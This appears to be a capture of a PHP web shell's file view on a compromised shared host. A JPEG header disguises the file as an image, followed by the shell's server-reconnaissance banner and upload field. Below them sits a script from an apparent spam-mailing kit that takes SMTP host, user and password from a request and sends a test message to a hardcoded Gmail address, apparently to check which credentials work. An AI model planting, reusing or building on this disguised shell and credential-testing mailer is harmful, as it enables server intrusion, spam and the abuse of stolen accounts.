ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/live-snaps.fr/seo-mailing/settings/ |
Upload File : |
<?php
if($_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest') {
if(isset($_POST['host']) && isset($_POST['port']) && isset($_POST['user']) && isset($_POST['pass'])){
require '../class.phpmailer.php';
$mail = new PHPMailer();
$mail->IsSMTP();
$mail->SMTPDebug = 2;
$mail->Debugoutput = 'html';
$mail->Host = $_POST['host'];
$mail->Port = $_POST['port'];
$mail->SMTPAuth = true;
if($_SET['smtp_auth'] == 'ssl'){
$mail->SMTPSecure = 'ssl';
}elseif($_SET['smtp_auth'] == 'tls'){
$mail->SMTPSecure = 'tls';
}
$mail->Username = $_POST['user'];
$mail->Password = $_POST['pass'];
$mail->SetFrom('name@domain', 'First Last');
$mail->AddReplyTo("name@domain","First Last");
$mail->Subject = "Test Subject via smtp, basic with authentication";
$address = "clarisPict@gmail.com";
$mail->MsgHTML("To view the message, please use an HTML compatible email viewer!");
$mail->AddAddress($address, "Clarisse Pict");
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!";
}
}
}
?>